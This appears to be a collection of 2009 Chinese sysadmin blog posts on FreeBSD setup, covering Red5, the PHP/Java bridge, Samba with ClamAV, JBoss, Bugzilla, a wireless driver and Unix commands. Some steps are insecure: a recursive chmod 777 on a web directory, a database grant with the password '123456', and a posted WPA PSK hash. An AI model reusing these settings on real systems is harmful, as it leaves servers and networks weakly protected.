ffmpeg -i $SiteRoot/video/$b/$a.flv -y -f image2 -ss 8 -sameq -t 0.001 -s 320*240 $SiteRoot/video/$b/$a.jpg
chown www:www $SiteRoot/video/$b/$a.jpg
rm $FullFile
fi
done
done
4、设定计划任务

　编辑/etc/crontab　文件

　在path中加入/usr/local/bin　

　按i，进入插入状态，然后输入计划命令，其中的n表示每n分钟执行一次转换，可根据自身情况修改n值，
　如：10(每10分钟执行一次转换)
　0-59/n * * * * 　/usr/local/bin/convert　<-修改为你convert路径
二、在线录制
1、安装diablo-jdk1.5　
　　ports安装
　　cd /usr/ports/java/diablo-jdk1.5　
　　这个要手动下载diablo-caffe-freebsd6-i386-1.5.0_07-b01.tar.bz2，根据提示操作就行。
2、安装ant
　　ports　安装
　　cd /usr/ports/devel/apache-ant-1.7.0
3、安装red5
　　下载http://dl.fancycode.com/red5/red5-0.6rc2.tar.gz
　　将red5-0.6rc2.tar.gz 放到/tmp 目录下
　　mv red5-0.6rc2.tar.gz /tmp
　　cd /usr/local
　 tar -zxf /tmp/red5-0.6rc2.tar.gz
mv red5-0.6rc2 red5

请重新编译red5
cd /usr/local/red5
vi build.properties
找到java.target_version=1.6修改为java.target_version=1.5，然后进行重新编译
执行make

将online.zip 解压到 /usr/local/red5/webapps 下
　　online.zip 下载地址：http://www.supesite.com/tools/online.zip
　　cd /usr/local/red5/webapps
　　tar -zxf /tmp/online.tar.gz
　　开启Red5服务
　　/usr/local/red5/red5.sh &

　　好，现在就可以播客。

Freebsd 安装php/java bridge 方法与日志

admin — Fri, 08 May 2009 15:48:49 +0000

Freebsd 安装php/java bridge 方法与日志
Evan.Jiang
一、安装Freebsd
安装freebsd的过程可参考其它文档，在这里可略
二、安装JDK/JRE
1、下载由freebsd开发团队编译好的jdk/jre 1.5版本。
2、安装jdk/jre 1.5版本

1、安装jdk/jre
#pkg_add diablo-jdk-freebsd6-1.5.0.06.00.tbz
#pkg_add diablo-jre-freebsd6-1.5.0.06.00.tbz
2、安装javavmwrapper
# cd /usr/ports/java/javavmwrapper
# make install clean

三、下载php/java bridge
1、下载php/java bridge
在下面网址下载php/java bridge 的源代码版本与字节版本

http://sourceforge.net/project/showfiles.php?group_id=117793

四、上传php/java bridge
1、用cuteftp或leapftp等工具上传到服务器.

五、解压php/java bridge
# tar zxvf php-java-bridge_3.1.8rc2.tar.bz2
# unzip –x php-java-bridge_3.1.8rc2_j2ee.zip
六、安装php/javabridge
进入php/javabridge 解压目录.
1、# phpize && ./configure –disable-backend –with-java= /usr/local/diablo-jdk1.5.0,/usr/local/diablo-jre1.5.0 && /usr/local/bin/gmake
2、#sh install.sh
3、#make install

七、设置php.ini文件
# vi /usr/local/Zend/etc/php.ini
在最后加入以下内容：
[java]
java.hosts = 127.0.0.1:8080
java.servlet = On
八、安装resin等back-end
1 、# cd /usr/ports/www/resin3
2、# make WITH_APACHE2=yes install clean
3、编辑httpd.conf 在后面加入以下内容：

ResinConfigServer localhost 6802

4、设置resin3随机启动
5、 echo ‘resin3_enable=”YES” ‘ >> /etc/rc.conf
6、手动启动resin3
#/usr/local/etc/rc.d/resin3.sh start
7、
九、在resin的webapps建相应目录。
#cd /usr/local/resin/webapps
#mkdir JavaBridge
进入php-java-bridge_3.1.8rc2_j2ee的解压目录
将JavaBridge .war 复制resin的webapps下的JavaBridge目录解压。
# cp JavaBridge.war /usr/local/resin3/webapps/JavaBridge/
#cd /usr/local/resin3/webapps/JavaBridge/
# tar zxvf JavaBridge.war
赋于 /usr/local/resin3/webapps/JavaBridge/权限
# cd /usr/local/resin3/webapps/
#chmod –R 777 JavaBridge/
重启服务器

十、测试php/java bridge
在网站根目录建一个test.php ，内容如下：

// get instance of Java class java.lang.System in PHP
$system = new Java('java.lang.System');

// demonstrate property access
echo 'Java version=' . $system->getProperty(‘java.version’) . ‘
‘;
echo ‘Java vendor=’ . $system->getProperty(‘java.vendor’) . ‘
‘;
echo ‘Java classpath=’ . $system->getProperty(‘java.classpath’) . ‘
‘;
echo ‘Java home=’ . $system->getProperty(‘java.java_home’) . ‘
‘;
echo ‘OS=’ . $system->getProperty(‘os.name’) . ‘ ‘ .
$system->getProperty(‘os.version’) . ‘ on ‘ .
$system->getProperty(‘os.arch’) . ‘
‘;

// java.util.Date example
$formatter = new Java(‘java.text.SimpleDateFormat’,
“EEEE, MMMM dd, yyyy ‘at’ h:mm:ss a zzzz”);

echo $formatter->format(new Java(‘java.util.Date’));

打开浏览器输入 http://ip/test.php
见到以下内容就可确定php/java bridge 安装正确
Java version=1.5.0
Java vendor=Sun Microsystems Inc.
Java classpath=
Java home=
OS=FreeBSD 6.0-RELEASE on i386
[o(String):"Friday, September 08, 2006 at 10:54:13 AM China Standard Time"]
十一、

PCBSD7.1安装笔记(多图）

admin — Tue, 05 May 2009 14:29:51 +0000

这两天。在CU 的BSD版看到有个资深的UNIX工程师说装PCBSD无法正常LOGIN。俺就觉得奇怪，PCBSD应该不会存在这种低端错误。。。于是心血来潮，想着装个最新版的PCBSD7。1来看看，顺便看看现在PCBSD“进化”得什么程度，能否用来作一个完善的桌面操作系统！

下面就为俺的安装笔记，为了直观，俺截了多张图。辅带一些简单描述

俺是用VMWARE虚拟安装的。所以。VMWARE虚拟机安装，并且设置那块不详述。只说，建立PCBSD的虚拟机，设置加载ISO来安装，正常启动后，开始说起。。

正常安装启动程序

安装界面，默认为英文界面，俺要安装中文版，就拉动右边的下拉条，选择简体中文

选择简体中文后，安装界面也迅速成换成全中文格式，这里可以选择将时区改为上海时间。其它其本不用心。

这里选同意许可协议，跟着按下一步

这里选择全部安装，选择安装桌面版，选择从光驱安装。。跟着按下一步

这里设置root密码，以及新增一个常用账户的账号与密码。可选桌面默认与新增的普通账号来login，也可以不选。

这里选择安装硬盘，以及选择整个硬盘安装，还是独自分区。

这里选择要安装的软件包。除了桌面游戏与玩具外，其它常用的编程开发，网络工具，俺全选上。选择方法就是先用MOUSE选择可用组件的组件包，然后单击下面向下的三角符，表示将组件包选择到要安装的组件项里。

系统开始正式安装。。

提示放入第二张光盘，放入第二光盘后，继续安装。

提示放入第三张安装盘，俺只下载了第一，第二盘，如果你只是选择安装常用的工具组件包，第三光盘可以不用安装。这里直接按ok。系统会继续安装。

安装完成，按重新启动。重新启动系统.

pcbsd正准备重启。。。

pcbsd 重启后，进入设置屏幕分辨率的窗口。这里，可以直接选择跳过或者应用都可以。。。

login窗口，输入账号与密码.然后直接按回车。

安装完成。PCBSD操作桌面。。。

Freebsd 安装带杀毒功能的samba文件服务器

admin — Tue, 21 Apr 2009 04:56:39 +0000

安装Freebsd过程略

1.安装Samba 3

# cd /usr/ports/net/samba3
# make install clean
安装完samba,请设置/usr/local/etc/smb.conf.并在/etc/rc.conf加入一句使Samba随系统一起启动.

samba_enable=”YES”
2.安装clamav

# cd /usr/ports/security/clamav
# make install clean
手动更新病毒库到默认路径

# freshclam
在/etc/rc.conf加一句让Clamav随系统一起启动.

clamav_clamd_enable=”YES”
clamav_freshclam_enable=”YES” # 定时更新病毒库
3.安装samba-vscan

# cd /usr/ports/security/samba-vscan
# make install clean
在/usr/local/etc/smb.conf的[global]加入

vfs object = vscan-clamav
vscan-clamav: config-file = /usr/local/etc/samba-vscan/vscan-clamav.conf
附简单的smb.conf

# Samba config file created using SWAT
# from 127.0.0.1 (127.0.0.1)
# Date: 2005/08/06 10:55:55

# Global parameters
[global]
dos charset = GB2312
unix charset = GB2312
display charset = GB2312
workgroup = SAMBA
server string = Samba PDC running %v
log level = 2
log file = /var/log/samba/log.%m
max log size = 50
socket options = TCP_NODELAY IPTOS_LOWDELAY SO_SNDBUF=8192 SO_RCVBUF=8192
local master = No
dns proxy = No
ldap ssl = no
#hosts allow = 10.0., 127.
vfs object = vscan-clamav
vscan-clamav: config-file = /usr/local/etc/samba-vscan/vscan-clamav.conf

[homes]
comment = Home Directories
valid users = %S
write list = %S
read only = No
create mask = 0666
directory mask = 0777
browseable = No

[profiles]
path = /home/samba/profiles
read only = No
create mask = 0600
directory mask = 0700
browseable = No

[netlogon]
comment = Network Logon Service
path = /home/netlogon
write list =
browseable = No

FreeBSD java开发环境配置手册

admin — Tue, 21 Apr 2009 04:10:07 +0000

一,所需软件:
jdk-1.3.1 for freebsd build(软件仓库里有)
apache-2.0.3*(最新版本为httpd-2.0.39)
jboss-3.0-tomcat-4.0.3(最新)
tomcat-4.0.4
jakarta-tomcat-connector-4.0.2-src

postgresql-7.2.8
1.安装jdk:
到软件仓库下载,解开后里面有些pkg_add安装的包,安装即可
设置环境变量
PATH=$PATH:/usr/jdk/bin
JAVA_HOME=/usr/jdk
2.安装postgresql-7.2.8
编译时注意–enable-multibyte
安装在/usr/pgsql
createdb -E EUC_CN test

2.安装jboss
将jboss-3.0-tomcat-4.0.3的包解开为/usr/jboss
目录下有个catalina,这就是tomcat-4.0.3
删除,
下载tomcat-4.0.4
解开后拷贝到/usr/jboss/
重命名为catalina

3.编译apache-2.0.39
./configure –prefix=/usr/apache –enable-so –with-mpm=prefork
make&&make install
4.集成apache和jboss:
很多文档推荐使用mod_jk.
俺读了tomcat的源码和webapp的java源码,找到一种使用
warp集成的方法.
编译mod_webapp.so
解开connector.
cd webapp
./support/buildconf.sh
./configure –with-apxs=/usr/apache/bin/apxs
cd apache-2.0
make install
会把mod_webapp.so拷贝到/usr/apache/modules目录
修改/usr/jboss/server/default/deploy/tomcat4-service.xml文件.
配置warpconnector
在最后的

四行之前添加

port="8008" minProcessors="5" maxProcessors="75"
enableLookups="true"
acceptCount="10" debug="0"/>

添加以上内容后,jboss的配置就完成.

配置apache

修改httpd.conf:

设定ServerName为合法的FQDN

在最后添加:

LoadModule webapp_module modules/mod_webapp.so

WebAppConnection con Warp :8008
#假设你发布了一个test
就应当加入
WebAppDeploy test con /test/

配置完成后,运行apachectl configtest和apachectl startssl命令启动apache

这就可以通过80端口访问jboss中的webapplication.

如果你以后发布什么内容,都需要修改WepAppDeploy一行

添加相关的内容
测试,运行/usr/jboss/bin/下的run.sh
启动jboss-3.0
如果使用localhost/test/联接时可能会看到屏幕输出ERROR…
读过warpconnector的WarpLogger.java你可以看到,其实是由于connector的log处理问题,jboss就认为是ERROR.
另外,warpconnector是由tomcat容器管理的,在tomcat中
可以正常的关闭socket.而在jboss内嵌的tomcat中,使用jboss管理.
所以在关闭socket时会抛出一个异常(在关闭jboss时)
解决办法:
编译tomcat-webapp.jar

其实这个jar包跟$CATALINA_HOME/server/lib/warp.jar是一样的.
但是在jboss中发布warp.jar时,因为代码中有一些logger.log(“…”)
jboss会认为这是ERROR,会在屏幕上抛出异常,看着不舒服(不影响使用)
进入刚才的webapp目录下的java/…/warp/目录
主要修改WarpConnection.java和WarpConnector.java这两个文件中的logger.log(“”)
去掉就可以,或者你想作一些其他的改动也可以
回到webapp目录,拷贝build.properties.sample为build.properties
你需要作的是修改这个文件,指定catalina.home为你的CATALINA_HOME
这个例子中就是/usr/jakarta/jboss/catalina了.
然后运行:

ant

会在本目录build/lib目录生成一个tomcat-webapp.jar.
删除$CATALINA_HOME/server/lib/warp.jar
将tomcat-webapp.jar拷贝到$CATALINA_HOME/server/lib/目录
就可以.

至于怎么开发我就不说.
jsp和servlet没有什么不同.

cmp2.0的例程可以在google搜索jboss3 cmp找到.

目前存在的问题是没有找到在jboss中使用cocoon2的方法(在单独运行的tomcat中是正常的)

unix常用指令及参数

admin — Wed, 08 Apr 2009 13:48:23 +0000

常用组合键
ctrl+h,backspace :删除前面的字符.
ctrl+u:删除一整行.
ctrl+c,del,break: 强行终止正在运行的程序.
ctrl+d:
常用指令
1.date:查看当前时间.
2.cal:查看某一个月的月历.
3.Finger 命令:显示一个用户的详细信息.
4.who命令:显示所有登陆用户.who an i
5.clear 命令:执行清屏动作.
6.echo 命令:将命令名后跟随的参数显示在屏幕echo hello

world
7.banner 命令:将命令名后跟的ACSSII字符串以大字的方式显

示在屏幕上banner hello
8.wc 命令:用于计算一个指定的文件中的行数单词及字符数:
格式wc[-c(计算字符的数目)] [-l(计算行的数目)] [-w(计算

单词的数目)] filename
9.passwd 命令,用于修改口令.
10.man 命令:联机手册
六.shell的基本功能:命令解释器,程序设计语言.
shell的退出命令.
1.exit 主要用于退出B_shell
2.logout 主要用于退出C_shell
3.ctrl+d 用于退出各类shell
第三章通信
内部通信
外部通信<1,电子邮件,2.即时通信
一.即时通讯
1.write 交谈命令 (半双工通信)
格式 write student1
ctrl+d 退出write
Write协议:消息发送结束用O(结束)
结束谈话用OO(结束并退出)
2.mesg 消息开关命令.用于查询和开关本终端的消息接收状态.
格式:mesg [-y] [-n]
$ mesg 查询本终端当前的消息接收状态
is y 可以接收消息
is n 拒绝接收消息
$ mesg n 设置关闭状态
$ mesg y 设置打开状态
3.talk 双向通信命令 (全双工方式)
4.wall 广播信息命令
二,电子邮件
$ mail username 发送邮件
$ mail 接收邮件
系统邮箱:在/usr/mail或/var/mail下,每个用户都有一个以其名字

命名的邮箱.例如:student8的系统邮箱可能为:/var/mail/student8
个人邮箱:个人邮箱通常为用户自己的主目录(home)下的mbox

文件.用户读过的邮件如果末删除或转存,则存放在个人邮箱中

.例如:student8的个人邮箱可能是:/home/student8/mbox
1.发送邮件:
$ mail student8
给多个用户发送邮件
a.$ mail student1 student2 student3 把用户列出来.
b.$ mail TEACHER TEACHER为用户组名,即向属于TEACHER

组所有用记发邮件.
c.$ alias usr_list student1 student2 student3给student1 student2

student3等多个名字建立一个部的别名usr_list,该别名只在本

shell中起作用,退出shell后无效.
$ mail usr_list
把已有的文件作为邮件发送给用户:
$ mail student8 < my_letter
发邮件给不存在的用户:
$ mail meizhegeren
mail命令本身能正常执行,由于无有效的接收方,所以系统把邮

件退回到用户主目录下dead.letter中.
2.接收邮件
不带参数输入mial表示读取邮件.此时已进入出境mail命令模式

下.
mail命令模式常用命令
如有下页则显示,否则退出mail.
p 显示本邮件信息
d 删除当前邮件
n 显示下一个邮件
q 退出 mail,把末删除的邮件保存到个人邮箱中.
R 回复邮件
! 执行shell命令.
? 显示mail的内部命令.
第四章文件系统
与目录相关的命令(pwd,cd,mkdir,rmdir,ls)
与文件相关的命令(cp,mv,ln,more,rm)
1.pwd 显示当前工作目录
2.cd 改变当前目录
3.mkdir 创建目录
格式 mkdir dir_name
4.rmdir 删除目录
格式 rmdir dir_name
a.只能是空目录.
b.有写的权限
一次操作多个目录
- p 选项.在当前目录下逐级创建目录,也可以逐级删除目录.
5.ls 显示目录
$ ls -a 显示所有文件(以点开头的文件名是隐藏文件)
$ ls -R 显示所有子目录的内容
$ ls – l 能得到目录中的文件的详细信息.
-:普通 d: 目录 c: 字符设备 b: 块设备 p:管道
$ ls – C 以多列的格式列表,按列排序.
$ ls – F 如果是目录,文件名后加/,如果是可执行文件,加*表示.
$ ls – m 按页宽列文件,以逗号分隔.
$ ls – p 如果是目录,文件名后加/
$ ls – r 以字母反序列表
$ ls – s 以文件块为单位显示文件大小
$ ls – x 以多列的格式列表,按行排序.
$ ls -G 以不同的颜色显示.
$ ls -lc 显示更新时间
$ ls -i inode序号将列在第一列
$ ls -lu 显示访问时间
$ ls -I 显示更改时间
6.touch 命令:作用是用来修改文件访问时间更改时间的.并可以

用来创建0字节长度的文件.
格式 touch 命令参数
7.cp 命令:复制文件
格式 cp source target
$ cp file1 file2 … Target-dir
$ cp -i 如果目标文件存在,请求确认
$ cp -r 复制目录到新的目录
8.mv 命令:移动文件或命名文件
格式:mv source target
9.ln 命令:ln命令的主要功能是给一个已经存在的文件再取一个

名字.新的文件名与原文件名可以在同一个目录下,也可以以在

不同的目录下,新老文件名代表同一个文件.
格式ln source-file target-file
作用:在现有的文件与新文件之间建立新链接,使一个文件具有

一个以上的名字.
显示文件内容命令
10.cat 命令:用来显示.创建或者合并文件
格式cat filename
11.more 命令:逐屏显示文件内容.翻屏时用键.
格式:$ more filename
12.rm 命令:删除文件(删除后无法恢复)
格式:$ rm file
$ rm file1 file2
$ rm -i 删除文件前,给出确认
$ rm -r 删除指定的目录及目录中的所有文件和子目录.即删除

整个目录结构.
13.lp 命令:打印命令
14.cut 命令:切取文件内容,用于切取文件中的列或字段.它把文

本文件中每一行的一部分显示输出.运行时必须指定功能选项.
- f 指定字段的位置
-c 指定列的位置
-d 指定字段分隔符,缺省的字段分隔符是制表符tab
15.paste 命令:连接文件.
作用:把文件一行接一行地连接在一起,或者把两个或多个文件

的域连到一个新文件里.
格式: $paste 选项参数
选项:-d 指定分隔符.默认是制表符
第五章文件权限
16.chmod 命令:修改文件权限,常用chmod命令修改文件(包括普

通,目录和设备)的访问权限,
格式: chmod pattern filename …
finename 为要修改的权限文件名.可以有多个.
pattern 为将改变成的权限,可以用两种形式表示:字母式和数字

形式.
a,字母形式(符号模式)
字母形式由用户类别(u,g,o). 如何改变(+,-)和权限(r,w,x)三部分

组成.
u:本用户g:同组用户o:其它用户. + :增加权限 -:删除权限
r:读w:写x:执行
例如:chmod u+x file1
chmod o-w file2 file3
chmod go+r file4
b, 数值形式
格式: chmod 777 file1
*新建文件或目录最大权限=状态掩码+新建文件或目录缺省

权限.此时unask为000
对一个新建的文件,umask值为022则指定该文件的权限为644:
对一个新建的目录,umask值为022则指定该目录的权限为755
17.sort 命令:作用在于将指定的文件中的文件进行排序,并把排

序的结果输出到指定的标准输出中.
格式:$srot [-t delimiter] [+field] [.column]][option]
选项: -d 以字典顺序进行排序
-
18.head 命令:用于查看一个文件.或多个文件的前面几行的内

容.
格式:$ head [-number_of_lines] file(s)
19.tail 命令:用于显示从指定行开始直到文件末尾的文件内容
格式;tail [-number_of_lines | +number_of_lines]file
20.tee 命令:在获得输入后,将把该输入数据送到两个地点:标准

输出和文件.
21.grep 命令: 用于选项定包含特定模式的文本行.
21.find 命令:在目录中递归地搜索包括有特定字符的文件名.
22.df 命令:磁盘空间监测命令.显示当前系统中各个逻辑磁盘

中空闲的磁盘块数和空闲的索引节点(即可建立的新文件数)
23.du 命令:查看磁盘使用情况统计,统计指定的目录及所有子

目录的磁盘使用情况,统计单位是磁盘块数.
选项:-a 显示所有文件及子目录
24.fsck 命令:文件系统管理:用于检测和修复文件文件的错误,
25.tar命令:文件存储与备份.该命令可以把文件系统中的一个

或一组文件打成一个文件包.存放到外存上或硬盘上文件系统

的其它地方.常用于多个文件(包括目录)的备份或转移.
格式: tar -cvf target file1 file2 file3 …把file1 file2 file3等文件备份到

档案文件target中.
tar -tvf target 检查档案文件target中包含的文件信息.
tar -xvf targer [file1] 从档案文件target中提取全部或file指定

的文件.
26.shutdown 命令:系统关机
选项:-h 完全关机
-r 关机并重新启动系统
time 关机时间,如17:30
message 关机前向所有已登陆用户发送消息
例如: shutdown -r now 现在关机重启.
27.crypt 文件加密命令:用于对文本文件进行加密和解密.以防

止文件内容泄密.
例如:$ crypt < file > file.cry 对file加密,结果保存在file.cry中.key:加

密口令
$ crypt aaa 对aaa.cry解密,结果保存到aaa中. key:

解密口令
附:$ vi -x file.cry 编辑一个加密后的文件
28.compress/uncompress 文件压缩和解压命令
格式:compress data_file 加压后自动在文件名后加一个.Z
umcompress abc.Z
29.at 定时执行任务:在指定的时间一次性执行规定的任务.
at 15:30 在15:30分执行
who >> userlist 把上机用户清单发到userlist
30,cron 系统定量执行任务:
31,crontab 任务描述文件的管理命令.

今天解决 discuz7.0打开不正常并报错1146的问题。

admin — Thu, 19 Mar 2009 11:39:52 +0000

今天，因研习代码需要，需要安装搭建一个uchome环境，于是，就在http://www.dicuz.net里的下载频道下载uchome安装包。俺图方便，不要再过多时间去处理环境的问题，就直接下载UCenter1.5.0/UCenter Home1.5/Discuz! 7.0 集成安装包下载，下得是这个版本：简体中文GBK（UC1.5_UCH1.5_DZ7.0_SC_GBK.zip）不知为什么，下载好几个版本，在ubuntu 用unzip -x 来解压，总是报错。无法正确解压，俺以为是版本的问题，就在google搜了搜，搜到chinaz.com也有下载，就下载china.com所提供的集成安装包，在ubuntu 下直接解压。还是报错。真是奇怪。俺想是不是操作平台的缘故。就切换系统到winxp ,在winxp 下解压同样的集成安装包，发现一点问题都没有，很顺利，真是奇怪。难道是ubuntu8.10的问题？俺不管，就在winxp 直接传到服务器空间，然后安装这集成安装包，设文件权限那不用说，在mysql数据库后台建表，建账号，也不用说。做完这些后，就直接安装这集成安装包，安装时，很顺利，输入数据库名，账户，密码，然后切换到下一个页面，继续安装，很快就安装完，安装很顺利，没任何报错。安装完，就删掉整个install目录，然后进入uchome 首页，随便点击一下，没报错，但点击到discuz时。也就是尝试訪問bbs时，就报以下错误：
Discuz! info: MySQL Query Error

Time: 2009-3-19 10:54am
Script: /uchome/bbs/index.php

SQL: SELECT type FROM [Table]usergroups WHERE groupid=’7′
Error: Table ‘uchome.[Table]usergroups’ doesn’t exist
Errno.: 1146

Similar error report has beed dispatched to administrator before.

到 http://faq.comsenz.com 搜索此错误的解决方案

凭直觉与经验，俺是认为discuz7.0所用的表损坏或者建立不正确，但为何不正确，并且因什么情况不正确，但与无法知道，但现在要解决DISCUZ7.0报错的问题，就只能死马当活马医！俺打开mysql后台数据库，发觉discuz7.0所在bbs表好像没什么异常，但报错信息，是明确说有表损坏或者不存在。那只能重建discuz7.0有关的表。那俺找到bbs 所在目录下面的discuz.sql, 打开discuz.sql，将里面的建表语句，复制，然后直接在phpmyadmin 里运行。运行没提示报错。这就说明sql运行正确。那俺再刷新，提示cache没建好，需要再次刷新。那俺再刷新。再打开，终于可以正常看到discuz7的首页面。最后，这个问题得以解决。

事后，总结一上这个问题，是集成包没弄好？，还是什么原因？。为什么系统集成包的安装过程会没有正常运转discuz.sql这个建表语句。

FreeBSD 7.1 下使用 Intel 4965无线网卡上网的方法

admin — Tue, 17 Mar 2009 15:01:26 +0000

1. 参考网址
http://www.mavetju.org/mail/view … ware&id=2730092 介绍iwn使用的文章

trying iwn driver from
http://perforce.freebsd.org/file … ot/user/benjsc/iwn/

http://perforce.freebsd.org/depo … /iwn&HIDEDEL=NO iwn代码所在地

http://blog.disarm.jp/?p=51 日文的文档

2. 代码下载
首先通过P4fetch.rb下载这个ruby脚本
在运行过程中出现找不到 hpricot 模块

[axlrose@mybsd iwn] $ pkgsearch hpricot
/usr/ports/www/rubygem-hpricot

function pkg-get() {
#因为习惯于普通用户模式下操作，所以比较常用sudo命令来操作
sudo sh -c “PKGDIR=/usr/mypkgs/ PACKAGEROOT=ftp://ftp2.jp.freebsd.org pkg_add -rvK $@”
}

pkg-get rubygem-hpricot 下载并保存到 /usr/mypkgs目录
使用正宗方式 pkg_add -r rubygem-hpricot

./P4fetch.rb –depot //depot/user/benjsc/ –repo iwn

3. 代码编译

# cd iwn/iwn
# cd sys/modules/iwnfw
# make
# make install

cd sys/modules/iwn
make
mkae install

4. 安装后的加载与配置

/boot/loader.conf
legal.intel_iwn.license_ack=1

kenv legal.intel_iwn.license_ack=1
kldload if_iwn

安装后的测试

[axlrose@mybsd ~] $ pciconf -lv|grep 4965AGN
device = ‘Intel 4965AGN Intel Wireless WiFi Link 4965AGN’

[axlrose@mybsd ~] $ sudo dmesg |grep iwn|head -n 10
iwn0: error, INTR=82000000 STATUS=0×10000
iwn0: iwn_config: could not set power mode, error 35
iwn0: link state changed to UP
iwn0: link state changed to DOWN
iwn0: device timeout
iwn0: link state changed to UP
arp: 192.168.1.1 is on em0 but got reply from 00:1c:10:55:0a:c9 on iwn0
arp: 192.168.1.1 is on em0 but got reply from 00:1c:10:55:0a:c9 on iwn0
arp: 192.168.1.1 is on em0 but got reply from 00:1c:10:55:0a:c9 on iwn0
arp: 192.168.1.1 is on em0 but got reply from 00:1c:10:55:0a:c9 on iwn0

[axlrose@mybsd ~] $ sudo ifconfig
em0: flags=8802 metric 0 mtu 1500
options=19b
ether 00:1e:37:d0:d9:5d
inet 192.168.2.10 netmask 0xffffff00 broadcast 192.168.2.255
media: Ethernet autoselect
status: no carrier
iwn0: flags=8843 metric 0 mtu 1500
ether 00:1f:3b:94:50:a9
inet 192.168.1.3 netmask 0xffffff00 broadcast 192.168.1.255
inet 192.168.1.8 netmask 0xffffff00 broadcast 192.168.1.255
media: IEEE 802.11 Wireless Ethernet autoselect (OFDM/54Mbps)
status: associated
ssid home channel 6 (2437 Mhz 11g) bssid 00:1c:10:55:0a:cb
authmode WPA2/802.11i privacy ON deftxkey UNDEF TKIP 3:128-bit
txpower 50 bmiss 10 scanvalid 60 protmode CTS roaming MANUAL
lo0: flags=8049 metric 0 mtu 16384
inet6 fe80::1%lo0 prefixlen 64 scopeid 0×3
inet6 ::1 prefixlen 128
inet 127.0.0.1 netmask 0xff000000

——————————–
以下是我的/boot/loader.conf 与无线相关的模块加载配置

if_iwn_load=”YES”
legal.intel_iwn.license_ack=1
wlan_wep_load=”YES”
wlan_ccmp_load=”YES”
wlan_tkip_load=”YES”
wlan_scan_ap_load=”YES”
wlan_scan_sta_load=”YES”

——————————–
5. 使用 wpa_supplicant 的配置方法
以下是我的连接无线网络的脚本, 是跟据以前linux下的脚本修改的，目前路由那块还在改进，以下方法有问题

$ cat connet_home.sh
#!/usr/local/bin/bash
#!/bin/bash
#===============================================================================
WLAN_DEV=”iwn0″
LAN_DEV=em0
IP=192.168.1.8
GW=192.168.1.1
ROUTE=192.168.1.1
BASE_DIR=”.”
CFG_FILE=wpa_supplicant_home_cfg.conf
#${BASE_DIR}/del_eth0_route.sh

sudo ifconfig $LAN_DEV down
#sudo ip r d default dev eth0
sudo route del default
sudo route del 192.168.1.0/24
sudo route flush
sudo ifconfig ${WALN_DEV} down
sudo ifconfig ${WALN_DEV} up

if [ `pidof wpa_supplicant|wc -w` -eq 0 ] ; then
echo “wpa no running”
else
sudo killall -9 wpa_supplicant
fi

sudo wpa_supplicant -dd -i ${WLAN_DEV} -c ${BASE_DIR}/$CFG_FILE -B
sleep 3
#sudo ifconfig wlan0 192.168.1.8
#sudo dhclient $WLAN_DEV
sudo ifconfig $WLAN_DEV $IP
#sudo ifconfig $WLAN_DEV:1 192.168.1.9
#sudo ip r a default via $GW dev $WLAN_DEV
sudo ifconfig $LAN_DEV 192.168.2.2 # <<<< 故意改的ip为另一个网段的地址
sudo route add default $ROUTE
———————————————–

以下是配置文件

[axlrose@mybsd iwn] $ cat wpa_supplicant_home_cfg.conf
# This is a network block that connects to any unsecured access point.
# We give it a low priority so any defined blocks are preferred.
ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=0
ap_scan=1

eapol_version=1
#ap_scan=1
fast_reauth=1

network={
ssid=”home” <<<—- ssid
#psk=”密码明码”
psk=b5971ceb09ef6ca002accbfbe9b6742f8716677d2479bc0c8affef5d0b10fdb0 ##加密后的密码数据
}

[axlrose@mybsd iwn] $ uname -a
FreeBSD mybsd.mybsd.org 7.1-RELEASE FreeBSD 7.1-RELEASE #0: Thu Jan 1 14:37:25 UTC 2009 root@logan.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i38

附录：
在rc.conf中添加
ifconfig_iwn0=”192.168.1.xx/24 WPA”
ifconfig_em0=”192.168.1.xx/24″

启用无线可以写成：
/etc/rc.d/netif start
ifconfig em0 delete
/etc/rc.d/routing start

另外 /media/winc 写成 /media/cwin/ 这样在csh下比较容易补全。

Bugzilla ON FreeBSD HOWTO

admin — Sat, 14 Mar 2009 12:14:38 +0000

Bugzilla ON FreeBSD HOWTO
前言
Bugzilla作为一个产品缺陷的记录及跟踪工具，它能够为你建立一个完善的Bug跟踪体系，包括报告Bug、查询Bug记录并产生报表、处理解决、管理员系统初始化和设置四部分.主要特点为:
基于Web方式，安装简单、运行方便快捷、管理安全。
有利于缺陷的清楚传达。本系统使用数据库进行管理，提供全面详尽的报告输入项，产生标准化的Bug报告。
系统灵活，强大的可配置能力。
自动发送Email,通知相关人员。根据设定的不同责任人，自动发送最新的动态信息，有效的帮助测试人员和开发人员进行沟通。

由于目前网上资料要么是在Linux及Windows 系统下,要么属于Source Code安装,故才有此篇文档.该文档仅为 Bugailla On FreeBSD 的安装文档,并没有涉及到具体开发人员的使用操作,如果可能的话,将在今后继续更新此文档,如果你在安装中有什么问题,可以Mail 我,我将尽我能力来回复.
软件及平台
FreeBSD 为了充分体现FreeBSD的价值,主要软件安装均为PORTS安装

apache_1.3.28
mod_ssl-2.8.15-1.3.28
mysql 3.23.58
bugzilla 2.16.3
bugzilla-2.16.1-cn-0.91.tar.gz
目的
建立一套程序缺陷记录及跟踪系统,用于程序开发人员对程序BUG进行记录,分析,跟踪.

Apache安装及配置

#cd /usr/ports/www/apache13-modssl
#make install clean
#vi /usr/local/etc/apache/httpd.conf //修改ScriptAlias 的cgi-bin 参数,以及.cgi format的AddHandler
ScriptAlias /cgi-bin/ “/usr/local/www/data/bugzilla/”

#
# “/usr/local/www/cgi-bin” should be changed to whatever your ScriptAliased
# CGI directory exists, if you have that configured.
#

AllowOverride None
Options ExecCGI //此处切记要打开 ExecCGI 参数
Order allow,deny
Allow from all

#AddHandler cgi-script .cgi
MySQL安装及配置
#cd /usr/ports/databases/mysql323-server #make install clean #/usr/local/etc/rc.d/mysql-server.sh start #mysql -uroot -p

>GRANT SELECT,INSERT,UPDATE,DELETE,INDEX, ALTER,CREATE,DROP,REFERENCES ON bugtrack.* TO buguser@localhost IDENTIFIED BY ’123456′; //添加建立Bugzilla Database的用户及权限
>FLUSH PRIVILEGES;
Bugzilla安装及配置
#cd /usr/ports/devel/bugzilla/ #make WITH_BUG_EXPORT_AND_IMPORT=y WITH_BUG_MAILING_MODULES=y install clean //支持以XML格式导入或导出BUG DATABASES,支持PERL MAIL MODULE.

注:
WITH_BUG_MAILING_MODULES install perl modules required for bug mailing support (contrib/bug_email.pl) interface
WITH_BUG_EXPORT_AND_IMPORT install perl modules required for bug export/import feature to move bugs to or from other bugzilla installations

#cd /usr/local/www/data-dist/bugzilla
